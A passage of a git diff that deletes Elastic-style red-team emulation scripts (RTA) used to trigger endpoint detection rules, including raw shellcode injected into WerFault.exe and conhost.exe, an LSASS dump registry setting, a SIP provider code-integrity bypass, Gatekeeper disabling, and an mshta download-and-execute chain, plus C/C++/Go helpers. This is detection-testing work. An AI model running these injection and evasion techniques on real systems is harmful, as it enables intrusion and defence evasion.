b"\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53\x3C\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72\x65\x75\xE2\x8B\x72\x24\x03\xF3\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3\x8B\x14\x8E\x03\xD3\x33\xC9\x53\x52\x51\x68\x61\x72\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2\x83\xC4\x0C\x59\x50\x51\x66\xB9\x6C\x6C\x51\x68\x33\x32\x2E\x64\x68\x77\x73\x32\x5F\x54\xFF\xD0\x83\xC4\x10\x8B\x54\x24\x04\x33\xC9\x51\xB9\x74\x6F\x6E\x61\x51\x83\x6C\x24\x03\x61\x68\x65\x42\x75\x74\x68\x4D\x6F\x75\x73\x68\x53\x77\x61\x70\x54\x50\xFF\xD2\x83\xC4\x14\x33\xC9\x41\x51\xFF\xD0\x83\xC4\x04\x5A\x5B\xB9\x65\x73\x73\x61\x51\x83\x6C\x24\x03\x61\x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\x53\xFF\xD2\x33\xC9\x51\xFF\xD0\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90" - - -metadata = RtaMetadata( - uuid="727aa289-a1ff-4c82-b688-4cc99e07269f", - platforms=["windows"], - endpoint=[ - {'rule_id': 'aa265fbd-4c57-46ff-9e89-0635101cc50d', - 'rule_name': 'Network Module Loaded from Suspicious Unbacked Memory"'}, - {'rule_id': 'ace0bb76-290f-4f5f-a21f-c3b13ee415a9', - 'rule_name': 'Potential Masquerading as Windows Error Manager'}, - ], - siem=[], - techniques=["T1055", "T1036"], -) - - -@common.requires_os(*metadata.platforms) - -def main(): - # Inject shellcode into WerFault.exe to trigger - common.Inject(u"C:\\Windows\\SysWOw64\\WerFault.exe", SHELLCODE) - #time.sleep(2) - common.execute(["taskkill", "/f", "/im", "WerFault.exe"]) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/shellcode_winexec_calc.py b/rta/shellcode_winexec_calc.py deleted file mode 100644 index 6b8bce868..000000000 --- a/rta/shellcode_winexec_calc.py +++ /dev/null @@ -1,38 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -# shellcode to pop calc -SHELLCODE = b"\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2\x48\x83\xec\x20\x41\xff\xd6" - - -metadata = RtaMetadata( - uuid="979b8d18-e266-41ad-bab4-6e68971398ea", - platforms=["windows"], - endpoint=[ - {'rule_id': '58b996a5-634c-4205-9ffa-a6f2b8ebc1ad', 'rule_name': 'Potential Process Creation via ShellCode'}, - {'rule_id': '2ad63716-3dc3-49ba-b682-ef4b9e4a4d87', 'rule_name': 'Potential Injection via the Console Window Class'} - ], - siem=[], - techniques=["T1134", "T1055"], -) - -@common.requires_os(*metadata.platforms) - -def main(): - - # Inject shellcode into conhost.exe to trigger 2 rules - common.Inject(u"C:\\Windows\\System32\\conhost.exe", SHELLCODE) - - # Terminate CalculatorApp.exe and Calc.exe processes using taskkill - common.execute(["taskkill.exe", "/f", "/im", "CalculatorApp.exe"]) - common.execute(["taskkill.exe", "/f", "/im", "Calc.exe"]) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/shlayer_payload.py b/rta/shlayer_payload.py deleted file mode 100644 index a540c870a..000000000 --- a/rta/shlayer_payload.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="c0f3618b-a7d9-403c-8b42-572da0b20f47", - platforms=["macos"], - endpoint=[{"rule_name": "Shlayer Malware Infection", "rule_id": "3dda1ac2-86ef-41f5-ad3b-d9396383e104"}], - siem=[], - techniques=["T1105"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/curl" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake curl command to download Shlayer payloads") - common.execute([masquerade, "-f0L"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/shortcut_file_suspicious_process.py b/rta/shortcut_file_suspicious_process.py deleted file mode 100644 index 3856258fa..000000000 --- a/rta/shortcut_file_suspicious_process.py +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Shortcut File Suspicious Process -# RTA: shortcut_file_suspicious_process.py -# ATT&CK: T1023,T1204,T1193,T1192 -# Description: Create a .lnk file using cmd.exe - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="755e88fd-1fe1-44c7-b5f0-688a39fec420", - platforms=["windows"], - endpoint=[], - siem=[], - techniques=[] -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Writing dummy shortcut file") - shortcut_path = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\evil.lnk" - common.execute(["cmd", "/c", "echo", "dummy_shortcut", ">", shortcut_path]) - - common.log("Deleting dummy shortcut file") - common.remove_file(shortcut_path) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/shove_sip_bypass.py b/rta/shove_sip_bypass.py deleted file mode 100644 index fa42eb1dd..000000000 --- a/rta/shove_sip_bypass.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="1796555f-921a-459f-9661-0d94cf90fe81", - platforms=["macos"], - endpoint=[ - {"rule_name": "Potential SIP Bypass via the ShoveService", "rule_id": "7dea8cfc-92db-4081-9a5d-85ead8cedd5f"} - ], - siem=[], - techniques=["T1068"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/sh" - common.create_macos_masquerade(masquerade) - - common.log("Executing shove processes to mimic sip bypass.") - command = "/System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/shove -x" - common.execute([masquerade, "childprocess", command], shell=True, timeout=5, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/signed_proxy_file_written_exec.py b/rta/signed_proxy_file_written_exec.py deleted file mode 100644 index afd2d9396..000000000 --- a/rta/signed_proxy_file_written_exec.py +++ /dev/null @@ -1,56 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="cbed76ce-a373-4bc5-b1b3-f5330de18cc7", - platforms=["windows"], - endpoint=[ - {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - { - "rule_name": "Execution of a File Written by a Signed Binary Proxy", - "rule_id": "ccbc4a79-3bae-4623-aaef-e28a96bf538b", - }, - { - "rule_name": "Script Execution via Microsoft HTML Application", - "rule_id": "f0630213-c4c4-4898-9514-746395eb9962", - }, - { - "rule_name": "Suspicious Windows Script Interpreter Child Process", - "rule_id": "83da4fac-563a-4af8-8f32-5a3797a9068e", - }, - ], - siem=[], - techniques=["T1218", "T1036", "T1055", "T1105", "T1059"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - server, ip, port = common.serve_web() - url = f"http://{ip}:{port}/bin/renamed_posh.exe" - - mshta = "C:\\Users\\Public\\mshta.exe" - dropped = "C:\\Users\\Public\\posh.exe" - common.copy_file(EXE_FILE, mshta) - - cmd = f"Invoke-WebRequest -Uri {url} -OutFile {dropped}" - - # Execute command - common.log("Using a fake mshta to drop and execute an .exe") - common.execute([mshta, "/c", cmd], timeout=10) - common.execute([mshta, "/c", dropped], timeout=10, kill=True) - common.remove_file(mshta) - common.remove_file(dropped) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/silentprocessexit_lsass.py b/rta/silentprocessexit_lsass.py deleted file mode 100644 index 8f149c508..000000000 --- a/rta/silentprocessexit_lsass.py +++ /dev/null @@ -1,32 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="bf2f893a-513a-41ea-9170-2c9b08a2a55f", - platforms=["windows"], - endpoint=[{"rule_name": "LSA Dump via SilentProcessExit", "rule_id": "28969fe6-0ebe-4442-b40c-dbe9b4234f5e"}], - siem=[], - techniques=["T1003"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Temporarily creating LSA SilentProcessExit reg key...") - - key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit" - value = "lsass.exe" - data = "0" - - with common.temporary_reg(common.HKLM, key, value, data): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/sip_provider.py b/rta/sip_provider.py deleted file mode 100644 index 6d65ce0bc..000000000 --- a/rta/sip_provider.py +++ /dev/null @@ -1,73 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: SIP Provider Modification -# RTA: sip_provider.py -# ATT&CK: TBD -# Description: Registers a mock SIP provider to bypass code integrity checks and execute mock malware. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="b0e3e1bb-dfa5-473a-8862-b2d1d42819ce", - platforms=["windows"], - endpoint=[], - siem=[{"rule_id": "f2c7b914-eda3-40c2-96ac-d23ef91776ca", "rule_name": "SIP Provider Modification"}], - techniques=["T1553"], -) - - -CRYPTO_ROOT = "SOFTWARE\\Microsoft\\Cryptography\\OID\\EncodingType 0" -VERIFY_DLL_KEY = "%s\\CryptSIPDllVerifyIndirectData\\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" % CRYPTO_ROOT -GETSIG_KEY = "%s\\CryptSIPDllGetSignedDataMsg\\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" % CRYPTO_ROOT - - -def register_sip_provider(dll_path, verify_function, getsig_function): - winreg = common.get_winreg() - hkey = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, VERIFY_DLL_KEY) - - common.log("Setting verify dll path: %s" % dll_path) - winreg.SetValueEx(hkey, "Dll", 0, winreg.REG_SZ, dll_path) - - common.log("Setting verify function name: %s" % verify_function) - winreg.SetValueEx(hkey, "FuncName", 0, winreg.REG_SZ, verify_function) - - hkey = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, GETSIG_KEY) - - common.log("Setting getsig dll path: %s" % dll_path) - winreg.SetValueEx(hkey, "Dll", 0, winreg.REG_SZ, dll_path) - - common.log("Setting getsig function name: %s" % getsig_function) - winreg.SetValueEx(hkey, "FuncName", 0, winreg.REG_SZ, getsig_function) - - -if common.is_64bit(): - SIGCHECK = common.get_path("bin", "sigcheck64.exe") - TRUST_PROVIDER_DLL = common.get_path("bin", "TrustProvider64.dll") -else: - SIGCHECK = common.get_path("bin", "sigcheck32.exe") - TRUST_PROVIDER_DLL = common.get_path("bin", "TrustProvider32.dll") - -TARGET_APP = common.get_path("bin", "myapp.exe") - - -@common.requires_os(*metadata.platforms) -@common.dependencies(SIGCHECK, TRUST_PROVIDER_DLL, TARGET_APP) -def main(): - common.log("Registering SIP provider") - register_sip_provider(TRUST_PROVIDER_DLL, "VerifyFunction", "GetSignature") - - common.log("Launching sigcheck") - common.execute([SIGCHECK, "-accepteula", TARGET_APP]) - - common.log("Cleaning up", log_type="-") - wintrust = "C:\\Windows\\System32\\WINTRUST.dll" - register_sip_provider(wintrust, "CryptSIPVerifyIndirectData", "CryptSIPGetSignedDataMsg") - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/smb_connection.py b/rta/smb_connection.py deleted file mode 100644 index 4931b04c4..000000000 --- a/rta/smb_connection.py +++ /dev/null @@ -1,46 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Outbound SMB from a User Process -# RTA: smb_connection.py -# ATT&CK: T1105 -# Description: Initiates an SMB connection to a target machine, without going through the normal Windows APIs. - -import socket -import sys - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="b0e3e1bb-dfa5-473a-8862-b2d1d42819ce", - platforms=["windows"], - endpoint=[], - siem=[{"rule_id": "c82c7d8f-fb9e-4874-a4bd-fd9e3f9becf1", "rule_name": "Direct Outbound SMB Connection"}], - techniques=["T1021"], -) - - -SMB_PORT = 445 - - -@common.requires_os(*metadata.platforms) -def main(ip=None): - ip = ip or common.get_ip() - - # connect to rpc - common.log("Connecting to {}:{}".format(ip, SMB_PORT)) - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.connect((ip, 445)) - common.log("Sending HELLO") - s.send(b"HELLO!") - common.log("Shutting down the connection...") - s.close() - common.log("Closed connection to {}:{}".format(ip, SMB_PORT)) - - -if __name__ == "__main__": - exit(main(*sys.argv[1:])) diff --git a/rta/solarmaker_backdoor.py b/rta/solarmaker_backdoor.py deleted file mode 100644 index 4de1427b8..000000000 --- a/rta/solarmaker_backdoor.py +++ /dev/null @@ -1,55 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="c2786f8d-d565-494d-84e2-5dcb2da711c4", - platforms=["windows"], - endpoint=[ - {"rule_name": "SolarMarker Backdoor Registry Modification", "rule_id": "f7e6d239-9af5-42e3-8d23-91e7188a5cb0"} - ], - siem=[], - techniques=["T1112", "T1546"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - reg = "C:\\Windows\\System32\\reg.exe" - - payloadcontent = ( - "Just some Powershell random words to make it to the 200 characters, remember to drink water and" - "take a walk twice a day, check if your dog has enought food and water too, ah, and go to the" - "gym, you can do it!!!!" - ) - regpath = "HKEY_CURRENT_USER\\Software\\Classes\\simul8\\shell\\open" - - # Execute command - common.log("Creating reg key using fake msiexec") - common.execute( - [ - reg, - "add", - regpath, - "/v", - "command", - "/t", - "REG_SZ", - "/d", - payloadcontent, - "/f", - ], - timeout=5, - kill=True, - ) - - common.execute([reg, "delete", regpath, "/f"], timeout=5, kill=True) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/spctl_gatekeeper_bypass.py b/rta/spctl_gatekeeper_bypass.py deleted file mode 100644 index eba2ac78b..000000000 --- a/rta/spctl_gatekeeper_bypass.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="cf71bf97-e3ba-474c-9b6b-538e5a8008b0", - platforms=["macos"], - endpoint=[], - siem=[{"rule_name": "Attempt to Disable Gatekeeper", "rule_id": "4da13d6e-904f-4636-81d8-6ab14b4e6ae9"}], - techniques=["T1553"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/spctl" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Executing fake spctl for Gatekeeper defensive evasion.") - common.execute([masquerade, "spctl", "--master-disable"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/special_chars_zip_file.py b/rta/special_chars_zip_file.py deleted file mode 100644 index 718de02fa..000000000 --- a/rta/special_chars_zip_file.py +++ /dev/null @@ -1,29 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="dce9cb95-b97d-4874-ab7a-26382a1ba348", - platforms=["macos"], - endpoint=[], - siem=[ - {"rule_name": "Potential Microsoft Office Sandbox Evasion", "rule_id": "d22a85c6-d2ad-4cc4-bf7b-54787473669a"} - ], - techniques=["T1497"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - common.log("Creating suspicious zip file with special characters to mimic evasion of sanboxed office apps.") - common.temporary_file_helper("testing", file_name="/tmp/~$test.zip") - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/sqlite_db_evasion.py b/rta/sqlite_db_evasion.py deleted file mode 100644 index 5fb8f12e3..000000000 --- a/rta/sqlite_db_evasion.py +++ /dev/null @@ -1,39 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="abd56d74-6538-456e-bd2a-42f08d1bac3c", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Reading or Modifying Downloaded Files Database via SQLite Utility", - "rule_id": "b8fb52cd-5f06-4519-921d-bd1b363dc01b", - } - ], - siem=[], - techniques=[], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/sqlite3" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake sqlite3 commands") - common.execute([masquerade, "test LSQuarantinetest"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/src/LoadLib-Callback64.cpp b/rta/src/LoadLib-Callback64.cpp deleted file mode 100644 index 5cdd29557..000000000 --- a/rta/src/LoadLib-Callback64.cpp +++ /dev/null @@ -1,76 +0,0 @@ -#include -#include -#include - -#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1) - -#define IMPORTAPI(DLLFILE, FUNCNAME, RETTYPE, ...) \ - typedef RETTYPE(WINAPI *type##FUNCNAME)(__VA_ARGS__); \ - type##FUNCNAME FUNCNAME = (type##FUNCNAME)GetProcAddress( \ - (LoadLibraryW(DLLFILE), GetModuleHandleW(DLLFILE)), #FUNCNAME); - -#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) - -HMODULE getModuleHandle(LPCWSTR libraryName) { - const LIST_ENTRY *head = - &NtCurrentTeb()->ProcessEnvironmentBlock->Ldr->InMemoryOrderModuleList; - LIST_ENTRY *next = head->Flink; - - while (next != head) { - LDR_DATA_TABLE_ENTRY *entry = - CONTAINING_RECORD(next, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); - const UNICODE_STRING *basename = - (UNICODE_STRING *)((BYTE *)&entry->FullDllName + - sizeof(UNICODE_STRING)); - - if (_wcsicmp(libraryName, basename->Buffer) == 0) { - return (HMODULE)entry->DllBase; - } - - next = next->Flink; - } - return NULL; -} - -HMODULE queueLoadLibrary(WCHAR *libraryName, BOOL swtch) { - IMPORTAPI(L"NTDLL.dll", NtWaitForSingleObject, NTSTATUS, HANDLE, BOOLEAN, - PLARGE_INTEGER); - - if (swtch) { - IMPORTAPI(L"NTDLL.dll", RtlQueueWorkItem, NTSTATUS, PVOID, PVOID, ULONG); - - if (NT_SUCCESS(RtlQueueWorkItem(&LoadLibraryW, (PVOID)libraryName, - WT_EXECUTEDEFAULT))) { - LARGE_INTEGER timeout; - timeout.QuadPart = -500000; - NtWaitForSingleObject(NtCurrentProcess(), FALSE, &timeout); - } - } else { - IMPORTAPI(L"NTDLL.dll", RtlRegisterWait, NTSTATUS, PHANDLE, HANDLE, PVOID, - PVOID, ULONG, ULONG); - HANDLE newWaitObject; - HANDLE eventObject = CreateEventW(NULL, FALSE, FALSE, NULL); - - if (NT_SUCCESS(RtlRegisterWait(&newWaitObject, eventObject, LoadLibraryW, - (PVOID)libraryName, 0, WT_EXECUTEDEFAULT))) { - WaitForSingleObject(eventObject, 500); - } - } - - return getModuleHandle(libraryName); -} - -int main(int argc, char ** argv) { - WCHAR libraryName1[] = L"ws2_32.dll"; - WCHAR libraryName2[] = L"dnsapi.dll"; - - HMODULE moduleHandle = queueLoadLibrary(libraryName1, TRUE); - printf("%ws loaded at 0x%p via RtlQueueWorkItem\n", libraryName1, moduleHandle); - FreeLibrary(moduleHandle); - - moduleHandle = queueLoadLibrary(libraryName2, FALSE); - printf("%ws loaded at 0x%p via RtlRegisterWait\n", libraryName2, moduleHandle); - FreeLibrary(moduleHandle); - - -} diff --git a/rta/src/create_file.c b/rta/src/create_file.c deleted file mode 100644 index 8d43160e6..000000000 --- a/rta/src/create_file.c +++ /dev/null @@ -1,45 +0,0 @@ -#include -#include -#include -#include -#include - -// Function to create directories for the given path -int create_directories(char *path) { - char *dir_path = dirname(strdup(path)); // Get directory name - char *p = strtok(dir_path, "/"); // Tokenize path - char current_path[1024] = {0}; // Store the path being created - - // Iterate through path parts and create directories - while(p != NULL) { - strcat(current_path, "/"); - strcat(current_path, p); - mkdir(current_path, S_IRWXU | S_IRWXG | S_IROTH | S_IXOTH); // Create directory with 755 permissions - p = strtok(NULL, "/"); - } - free(dir_path); // Free duplicated string - return 0; -} - -int main(int argc, char *argv[]) { - // Check if filename is provided - if(argc != 2) { - fprintf(stderr, "Usage: %s \n", argv[0]); - exit(EXIT_FAILURE); - } - - // Attempt to create the directories for the file - create_directories(argv[1]); - - // Attempt to create the file - FILE *file = fopen(argv[1], "w"); - if(file == NULL) { - perror("Error creating file"); - exit(EXIT_FAILURE); - } - - // Close the file and exit - fclose(file); - printf("File '%s' created successfully\n", argv[1]); - exit(EXIT_SUCCESS); -} diff --git a/rta/src/ditto_and_spawn.c b/rta/src/ditto_and_spawn.c deleted file mode 100644 index 033efd897..000000000 --- a/rta/src/ditto_and_spawn.c +++ /dev/null @@ -1,88 +0,0 @@ -#include -#include -#include - -char *combine_argv(int argc, char **argv, int start, int end) -{ - int total_size = 0; - for (int i = start; i < end; i++) - { - total_size += strlen(argv[i]); - } - // Provides space for ' ' after each argument and a '\0' terminator. - char *ret = malloc(total_size + end - start + 1); - if (ret == NULL) - { - fprintf(stderr, "Error: memory allocation failed\n"); - exit(EXIT_FAILURE); - } - int j = 0; - for (int i = start; i < end; i++) - { - strcat(ret + j, argv[i]); - j += strlen(argv[i]); - ret[j++] = ' '; - } - ret[j - 1] = '\0'; - return ret; -} - -void spawn_child_processes(int argc, char **argv) -{ - int start = 1; - for (int i = 1; i < argc; i++) - { - if (strcmp(argv[i], "childprocess") == 0) - { - char *command = combine_argv(argc, argv, start, i); - printf("Spawning child process %s\n", command); - if (system(command) == -1) - { - fprintf(stderr, "Error: failed to spawn child process\n"); - free(command); - exit(EXIT_FAILURE); - } - free(command); - start = i + 1; - } - } - if (start < argc) - { - char *command = combine_argv(argc, argv, start, argc); - printf("Spawning child process %s\n", command); - if (system(command) == -1) - { - fprintf(stderr, "Error: failed to spawn child process\n"); - free(command); - exit(EXIT_FAILURE); - } - free(command); - } -} - -void validate_input(int argc, char **argv) -{ - if (argc < 2) - { - fprintf(stderr, "Error: invalid number of arguments\n"); - exit(EXIT_FAILURE); - } - - else if (strcmp(argv[1], "childprocess") == 0 && argc < 3) - { - fprintf(stderr, "Error: invalid argument format. Expected childprocess \n"); - exit(EXIT_FAILURE); - } -} - -int main(int argc, char **argv) -{ - validate_input(argc, argv); - spawn_child_processes(argc, argv); - for (int i = 0; i < argc; i++) - { - printf("argv[%2d]: %s\n", i, argv[i]); - } - system("/bin/bash"); - return 0; -} diff --git a/rta/src/faultrep.cpp b/rta/src/faultrep.cpp deleted file mode 100644 index 928fb264c..000000000 --- a/rta/src/faultrep.cpp +++ /dev/null @@ -1,39 +0,0 @@ -#define WIN32_LEAN_AND_MEAN -#include - -extern "C" __declspec(dllexport) -DWORD WINAPI WerpInitiateCrashReporting(LPVOID lpParam) { - STARTUPINFO si; - PROCESS_INFORMATION pi; - - ZeroMemory(&si, sizeof(si)); - si.cb = sizeof(si); - ZeroMemory(&pi, sizeof(pi)); - - LPTSTR cmd = __TEXT("c:\\windows\\system32\\notepad.exe"); - if (!CreateProcessA(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) { - MessageBox(NULL, "Create Process failed", "Error", NULL); - } - auto const address = VirtualAlloc(NULL, 0x10000, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); - HANDLE h = LoadLibraryA("ws2_32.dll"); - DWORD old; - VirtualProtect(address, 0x10, PAGE_READWRITE, &old); - return 0; -} - - -extern "C" __declspec(dllexport) -BOOL APIENTRY DllMain(HMODULE hModule, - DWORD ul_reason_for_call, - LPVOID lpReserved) { - switch (ul_reason_for_call) { - case DLL_PROCESS_ATTACH: - CreateThread(NULL, NULL, OIPC_InitPlus, NULL, NULL, NULL); - break; - case DLL_THREAD_ATTACH: - case DLL_THREAD_DETACH: - case DLL_PROCESS_DETACH: - break; - } - return TRUE; -} diff --git a/rta/src/netcon_exec_chain.go b/rta/src/netcon_exec_chain.go deleted file mode 100644 index bf878a086..000000000 --- a/rta/src/netcon_exec_chain.go +++ /dev/null @@ -1,97 +0,0 @@ -package main - -import ( - "flag" - "fmt" - "net" - "os" - "os/exec" - "time" -) - -func main() { - netconCommand := flag.NewFlagSet("netcon", flag.ExitOnError) - netconIP := netconCommand.String("h", "", "IP address") - netconPort := netconCommand.Int("p", 0, "Port") - - execCommand := flag.NewFlagSet("exec", flag.ExitOnError) - execCmd := execCommand.String("c", "", "Shell command") - - chainCommand := flag.NewFlagSet("chain", flag.ExitOnError) - chainIP := chainCommand.String("h", "", "IP address") - chainPort := chainCommand.Int("p", 0, "Port") - chainCmd := chainCommand.String("c", "", "Shell command") - - if len(os.Args) < 2 { - fmt.Println("Usage:") - fmt.Println(" netcon -h -p ") - fmt.Println(" exec -c ") - fmt.Println(" chain -h -p -c ") - os.Exit(1) - } - - switch os.Args[1] { - case "netcon": - netconCommand.Parse(os.Args[2:]) - if *netconIP == "" || *netconPort == 0 { - fmt.Println("Missing IP address or port") - netconCommand.PrintDefaults() - os.Exit(1) - } - conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", *netconIP, *netconPort)) - if err != nil { - fmt.Println("Failed to connect:", err) - os.Exit(1) - } - conn.Close() - - case "exec": - execCommand.Parse(os.Args[2:]) - if *execCmd == "" { - fmt.Println("Missing command") - execCommand.PrintDefaults() - os.Exit(1) - } - cmd := exec.Command("/bin/sh", "-c", *execCmd) - cmd.Stdout = os.Stdout - cmd.Stderr = os.Stderr - err := cmd.Run() - if err != nil { - fmt.Println("Failed to execute command:", 